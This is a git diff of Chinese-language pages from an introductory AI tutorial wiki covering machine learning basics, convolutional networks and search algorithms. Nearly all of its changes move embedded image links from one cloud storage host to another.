-![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnokdWGegr2XCi1vfg0ZZiWg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnokdWGegr2XCi1vfg0ZZiWg.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn2o9ilOZg6jI6ssTYWhoeme.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2o9ilOZg6jI6ssTYWhoeme.png) 图像生成相信大家一定不陌生,NovalAI 在 2022 年火的一塌糊涂,我觉得不需要我过多赘述,对它(Diffusion model)的改进工作也是层出不穷,这里就放一张由可控姿势网络(ControlNet)生成的图片吧: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnUjnRociXua1yKj6dmU1A3c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnUjnRociXua1yKj6dmU1A3c.png) 三维重建也是很多研究者关注的方向,指的是传入对同一物体不同视角的照片,来生成 3D 建模的任务。这方面比图像处理更加前沿并且难度更大。具体见[4.6.5.4神经辐射场(NeRF)](4.6.5.4%E7%A5%9E%E7%BB%8F%E8%BE%90%E5%B0%84%E5%9C%BA(NeRF).md) 章节。 @@ -39,9 +39,9 @@ 这就更好理解了,让计算机能够像人类一样,理解文本中的“真正含义”。在计算机眼中,文本就是单纯的字符串,NLP 的工作就是把字符转换为计算机可理解的数据。举个例子,ChatGPT(或者 New Bing)都是 NLP 的成果。在过去,NLP 领域被细分为了多个小任务,比如文本情感分析、关键段落提取等。而 ChatGPT 的出现可以说是集几乎所有小任务于大成,接下来 NLP 方向的工作会向 ChatGPT 的方向靠近。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnyh6pakAkcxCKq6pLylSdef.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyh6pakAkcxCKq6pLylSdef.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnwWnoEDulgWdqGkY0WeYogc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwWnoEDulgWdqGkY0WeYogc.png) ## 多模态(跨越模态的处理) @@ -53,7 +53,7 @@ 具体的任务比如说图片问答,传入一张图片,问 AI 这张图片里面有几只猫猫,它们是什么颜色,它告诉我有一只猫猫,是橙色的: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrMvM1THshjXXOuh8WXi2zr.jpg) ## 对比学习 diff --git a/4.人工智能/4.2机器学习(AI)快速入门(quick start).md b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md index 1a125bc..77eb764 100644 --- a/4.人工智能/4.2机器学习(AI)快速入门(quick start).md +++ b/4.人工智能/4.2机器学习(AI)快速入门(quick start).md @@ -26,7 +26,7 @@ 甚至深度学习,也只是机器学习的一部分,不过使用了更多技巧和方法,增大了计算能力罢了。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbtaUStj8coQiNTmZzfWqNl.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbtaUStj8coQiNTmZzfWqNl.png) # 两种机器学习算法 @@ -42,11 +42,11 @@ 近三个月来,每当你的城市里有人卖了房子,你都记录了下面的细节——卧室数量、房屋大小、地段等等。但最重要的是,你写下了最终的成交价: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnL1MNHqAyDjcxIzjFTOdYtt.png) 然后你让新人根据着你的成交价来估计新的数量 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnwcDWIDvLnuvZ1uOb75QKPh.png) 这就是监督学习,你有一个参照物可以帮你决策。 @@ -66,7 +66,7 @@ 这其实就是一种经典的聚类算法 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnSn17EC3YvEnA6GScKNAF3e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnSn17EC3YvEnA6GScKNAF3e.png) 可以把特征不一样的数据分开,有非常多的操作,你感兴趣可以选择性的去了解一下。 @@ -139,7 +139,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 第二步把每个数值都带入进行运算。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniDICYiLh7ddcxEVrHxFODe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniDICYiLh7ddcxEVrHxFODe.png) 比如说,如果第一套房产实际成交价为 25 万美元,你的函数估价为 17.8 万美元,这一套房产你就差了 7.2 万。 @@ -168,13 +168,13 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 为了避免这种情况,数学家们找到了很多种[聪明的办法](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Gradient_descent)来快速找到优秀的权重值。下面是一种: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXkjzipUjgJpFYXaEhbEN8e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXkjzipUjgJpFYXaEhbEN8e.png) 这就是被称为 loss 函数的东西。 这是个专业属于,你可以选择性忽略他,我们将它改写一下 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXbd7bqnqPwF8f1Up8rHq5e.png) θ 表示当前的权重值。 J(θ) 表示「当前权重的代价」。 @@ -182,7 +182,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 如果我们为这个等式中所有卧室数和面积的可能权重值作图的话,我们会得到类似下图的图表: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniBPPpszGhbOWGpvto38Alf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniBPPpszGhbOWGpvto38Alf.png) 因此,我们需要做的只是调整我们的权重,使得我们在图上朝着最低点「走下坡路」。如果我们不断微调权重,一直向最低点移动,那么我们最终不用尝试太多权重就可以到达那里。 @@ -194,7 +194,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 当你使用一个机器学习算法库来解决实际问题时,这些都已经为你准备好了。但清楚背后的原理依然是有用的。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn2xlALHL53uUMXSHjloWiOe.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2xlALHL53uUMXSHjloWiOe.jpg) 枚举法 @@ -225,7 +225,7 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 我们换一个好看的形式给他展示 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) 箭头头表示了函数中的权重。 @@ -233,17 +233,17 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 所以为了更加的智能化,我们可以利用不同的权重来多次运行这个算法,收集各种不同情况下的估价。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) 然后我们把四种整合到一起,就得到一个超级答案 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnplbH8Ot0U6cuLHStDmXyze.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnplbH8Ot0U6cuLHStDmXyze.png) 这样我们相当于得到了更为准确的答案 # 神经网络是什么 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhLjMMdts91f8gcpgSVE8Ed.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhLjMMdts91f8gcpgSVE8Ed.png) 我们把四个超级网络的结合图整体画出来,其实这就是个超级简单的神经网络,虽然我们省略了很多的内容,但是他仍然有了一定的拟合能力 @@ -318,17 +318,17 @@ print('y_pred=',y_test.data) 我们试着只识别一个数字 8 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnOvoCMEuaMIpKZkfoFLDitf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOvoCMEuaMIpKZkfoFLDitf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnZQnrltieoJ93DT79pyX45e.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZQnrltieoJ93DT79pyX45e.png) 我们把一幅 18×18 像素的图片当成一串含有 324 个数字的数组,就可以把它输入到我们的神经网络里面了: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) 为了更好地操控我们的输入数据,我们把神经网络的输入节点扩大到 324 个: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnha4DXsSfAUIYbCQqAx6QKd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnha4DXsSfAUIYbCQqAx6QKd.png) 请注意,我们的神经网络现在有了两个输出(而不仅仅是一个房子的价格)。第一个输出会预测图片是「8」的概率,而第二个则输出不是「8」的概率。概括地说,我们就可以依靠多种不同的输出,利用神经网络把要识别的物品进行分组。 @@ -349,7 +349,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 当数字并不是正好在图片中央的时候,我们的识别器就完全不工作了。一点点的位移我们的识别器就掀桌子不干了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnShOBEoOhsJLR6L5xyr7INb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnShOBEoOhsJLR6L5xyr7INb.png) 这是因为我们的网络只学习到了正中央的「8」。它并不知道那些偏离中心的「8」长什么样子。它仅仅知道中间是「8」的图片规律。 @@ -365,9 +365,9 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 当然,你同时也需要更强的拟合能力和更深的网络。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnIcHcRF34F6jJgTRvhyAevc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnIcHcRF34F6jJgTRvhyAevc.png) 一层一层堆叠起来,这种方法很早就出现了。 @@ -377,7 +377,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 作为人类,你能够直观地感知到图片中存在某种层级(hierarchy)或者是概念结构(conceptual structure)。比如说,你在看 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcndjXp5ayczwemklMk9ZA3ig.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndjXp5ayczwemklMk9ZA3ig.jpg) 你会快速的辨认出一匹马,一个人。 @@ -387,7 +387,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 有人对此做过研究,人的眼睛可能会逐步判断一个物体的信息,比如说你看到一张图片,你会先看颜色,然后看纹理然后再看整体,那么我们需要一种操作来模拟这个过程,我们管这种操作叫卷积操作。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) ## 卷积是如何工作的 @@ -395,13 +395,13 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 当然也有最新研究说卷积不具备平移不变性,但是我这里使用这个概念是为了大伙更好的理解,举个例子:你将 8 无论放在左上角还是左下角都改变不了他是 8 的事实 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHo4tt4wmnC7sUykRPPLKmm.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHo4tt4wmnC7sUykRPPLKmm.png) 我们将一张图像分成这么多个小块,然后输入神经网络中的是一个小块。每次判断一张小图块。 然而,有一个非常重要的不同:对于每个小图块,我们会使用同样的神经网络权重。换一句话来说,我们平等对待每一个小图块。如果哪个小图块有任何异常出现,我们就认为这个图块是「异常」 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnCxlvaanbzweMmeCOsp1xKf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCxlvaanbzweMmeCOsp1xKf.png) 换一句话来说,我们从一整张图片开始,最后得到一个稍小一点的数组,里面存储着我们图片中的哪一部分有异常。 @@ -413,7 +413,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 让我们先来看每个 2×2 的方阵数组,并且留下最大的数: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnquKepO4wJ74KfNIy3LtqVg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnquKepO4wJ74KfNIy3LtqVg.png) 每一波我们只保留一个数,这样就大大减少了图片的计算量了。 @@ -435,7 +435,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 你猜怎么着?数组就是一串数字而已,所以我们我们可以把这个数组输入到另外一个神经网络里面去。最后的这个神经网络会决定这个图片是否匹配。为了区分它和卷积的不同,我们把它称作「全连接」网络 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) 我们的图片处理管道是一系列的步骤:卷积、最大池化,还有最后的「全连接」网络。 diff --git a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md index 4f7cc94..3ea6bd6 100644 --- a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md +++ b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md @@ -176,7 +176,7 @@ class Maze: 5. 两种算法总是能找到相同长度的路径 2. 下面的问题将问你关于下面迷宫的问题。灰色单元格表示墙壁。在这个迷宫上运行了一个搜索算法,找到了从 A 点到 B 点的黄色突出显示的路径。在这样做的过程中,红色突出显示的细胞是探索的状态,但并没有达到目标。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) 在讲座中讨论的四种搜索算法中——深度优先搜索、广度优先搜索、曼哈顿距离启发式贪婪最佳优先搜索和曼哈顿距离启发式$A^*$ @@ -196,7 +196,7 @@ class Maze: 4. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取 4. 下面的问题将询问您关于下面的 Minimax 树,其中绿色向上箭头表示 MAX 玩家,红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/UVssbyMxCoEQSuxvjh3caWAFnOb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UVssbyMxCoEQSuxvjh3caWAFnOb.png) 根节点的值是多少? diff --git a/4.人工智能/4.3.1搜索.md b/4.人工智能/4.3.1搜索.md index 0fd712b..de60c51 100644 --- a/4.人工智能/4.3.1搜索.md +++ b/4.人工智能/4.3.1搜索.md @@ -18,13 +18,13 @@ 导航是使用搜索算法的一个典型的搜索,它接收您的当前位置和目的地作为输入,并根据搜索算法返回建议的路径。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Hesobke0ZocH48xGFyocf9Cxntd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Hesobke0ZocH48xGFyocf9Cxntd.png) 在计算机科学中,还有许多其他形式的搜索问题,比如谜题或迷宫。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/SYw4bOzqAo65PQxZQLucbZAxnHd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SYw4bOzqAo65PQxZQLucbZAxnHd.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/LPgEbVQg2oZBSexmGWwcwfbdnVd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LPgEbVQg2oZBSexmGWwcwfbdnVd.png) # 举个例子 @@ -42,14 +42,14 @@ - 搜索算法开始的状态。在导航应用程序中,这将是当前位置。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) - 动作(Action) - 一个状态可以做出的选择。更确切地说,动作可以定义为一个函数。当接收到状态$s$作为输入时,$Actions(s)$将返回可在状态$s$ 中执行的一组操作作为输出。 - 例如,在一个数字华容道中,给定状态的操作是您可以在当前配置中滑动方块的方式。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) - 过渡模型(Transition Model) @@ -58,14 +58,14 @@ - 在接收到状态$s$和动作$a$作为输入时,$Results(s,a)$返回在状态$s$中执行动作$a$ 所产生的状态。 - 例如,给定数字华容道的特定配置(状态$s$),在任何方向上移动正方形(动作$a$)将导致谜题的新配置(新状态)。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/RKV2buJoroCV6SxiMUuct3dbnPU.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/RKV2buJoroCV6SxiMUuct3dbnPU.png) - 状态空间(State Space) - 通过一系列的操作目标从初始状态可达到的所有状态的集合。 - 例如,在一个数字华容道谜题中,状态空间由所有$\frac{16!}{2}$种配置,可以从任何初始状态达到。状态空间可以可视化为有向图,其中状态表示为节点,动作表示为节点之间的箭头。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/JdCqb2UI9ooWmdxk258cTIIznab.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/JdCqb2UI9ooWmdxk258cTIIznab.png) - 目标测试(Goal Test) @@ -112,9 +112,9 @@ - 展开节点(找到可以从该节点到达的所有新节点),并将生成的节点添加到边域。 - 将当前节点添加到探索集。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/K53FbGmswoM7JAxqJZxcQEjdnES.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/K53FbGmswoM7JAxqJZxcQEjdnES.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/THhpbemEHoxl80xHeTjc9d35nVh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/THhpbemEHoxl80xHeTjc9d35nVh.png) 边域从节点 A 初始化开始 @@ -122,9 +122,9 @@ a. 取出边域中的节点 A,展开节点 A,将节点 B 添加到边域。 b. 取出节点 B,展开,添加...... c. 到达目标节点,停止,返回解决方案 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/XmnObIGaUoF4ssxkgzUc4vTUnmf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/XmnObIGaUoF4ssxkgzUc4vTUnmf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Wsntb9rLwogdAKxpJgLchrI8nae.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Wsntb9rLwogdAKxpJgLchrI8nae.png) 会出现什么问题?节点 A-> 节点 B-> 节点 A->......-> 节点 A。我们需要一个探索集,记录已搜索的节点! @@ -143,13 +143,13 @@ c. 到达目标节点,停止,返回解决方案 - 所找到的解决方案可能不是最优的。 - 在最坏的情况下,该算法将在找到解决方案之前探索每一条可能的路径,从而在到达解决方案之前花费尽可能长的时间。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/SGVWbCcTlobQwJxSjKvcNyJAnEG.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SGVWbCcTlobQwJxSjKvcNyJAnEG.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Vv9Sb26QfoMrkqx5apycIYPJnlf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Vv9Sb26QfoMrkqx5apycIYPJnlf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/M2vZbA5hpoT9RExuAGwcBHF1nmh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/M2vZbA5hpoT9RExuAGwcBHF1nmh.png) - 代码实现 @@ -175,13 +175,13 @@ def remove(self): - 几乎可以保证该算法的运行时间会比最短时间更长。 - 在最坏的情况下,这种算法需要尽可能长的时间才能运行。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/S6SRbMUrcoYQCYxZGgJczkdcnBP.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/S6SRbMUrcoYQCYxZGgJczkdcnBP.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Xg7Qbv59IoQB3bxPFO1ceXgRnkf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Xg7Qbv59IoQB3bxPFO1ceXgRnkf.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/X34Rb5R7AonUg3xYs7DcQzSfndg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/X34Rb5R7AonUg3xYs7DcQzSfndg.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/PQeZbJv3Bom6NYxa6lccT084nFn.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/PQeZbJv3Bom6NYxa6lccT084nFn.png) - 代码实现 @@ -202,13 +202,13 @@ def remove(self): - 贪婪最佳优先搜索扩展最接近目标的节点,如启发式函数$h(n)$所确定的。顾名思义,该函数估计下一个节点离目标有多近,但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如,在迷宫中,算法可以使用启发式函数,该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁,并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计,可以基于当前位置和目标位置的$(x,y)$坐标导出。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) - 然而,重要的是要强调,与任何启发式算法一样,它可能会出错,并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案,但它比知情算法更不可能这样。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HkvdbcEdmo6RtjxOqqic31XFnSh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HkvdbcEdmo6RtjxOqqic31XFnSh.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/SU2DbQeN2oxs5ex3K3NcMaJfnch.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SU2DbQeN2oxs5ex3K3NcMaJfnch.png) - $A^*$搜索 @@ -220,9 +220,9 @@ def remove(self): - 一致性,这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示,$h(n)$是一致的,如果对于每个节点n$和后续节点n'$,从n$到$n'$的步长为c$,满足$h(n)≤h(n')+c$。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/BbIiba1pwo3uI7x4k7QcwicznGc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/BbIiba1pwo3uI7x4k7QcwicznGc.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HhG9bcJP2okKMMxY0FGclP0AnXY.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HhG9bcJP2okKMMxY0FGclP0AnXY.png) # 对抗性搜索 @@ -232,41 +232,41 @@ def remove(self): - 作为对抗性搜索中的一种算法,Minimax 将获胜条件表示为$(-1)$表示为一方,$(+1)$表示为另一方。进一步的行动将受到这些条件的驱动,最小化的一方试图获得最低分数,而最大化的一方则试图获得最高分数。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/FYu3bQwCZofBgsxKDJiciTR7nzc.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FYu3bQwCZofBgsxKDJiciTR7nzc.png) - 井字棋 AI 为例 - $s_0$: 初始状态(在我们的情况下,是一个空的3X3棋盘) - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/WstnbmHwYoQauRxUQOCclz8Jngb.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/WstnbmHwYoQauRxUQOCclz8Jngb.png) - $Players(s)$: 一个函数,在给定状态$$s$$的情况下,返回轮到哪个玩家(X或O)。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) - $Actions(s)$: 一个函数,在给定状态$$s$$的情况下,返回该状态下的所有合法动作(棋盘上哪些位置是空的)。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/LuEzbLOaqox7yox5lXzcouWYnKc.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/LuEzbLOaqox7yox5lXzcouWYnKc.png) - $Result(s, a)$: 一个函数,在给定状态$$s$$和操作$$a$$的情况下,返回一个新状态。这是在状态$$s$$上执行动作$$a$$(在游戏中移动)所产生的棋盘。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) - $Terminal(s)$: 一个函数,在给定状态$$s$$的情况下,检查这是否是游戏的最后一步,即是否有人赢了或打成平手。如果游戏已结束,则返回True,否则返回False。 - ![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) - $Utility(s)$: 一个函数,在给定终端状态s的情况下,返回状态的效用值:$$-1、0或1$$。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) - 算法的工作原理: - 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为$(-1)$、$0$或$(+1)$。 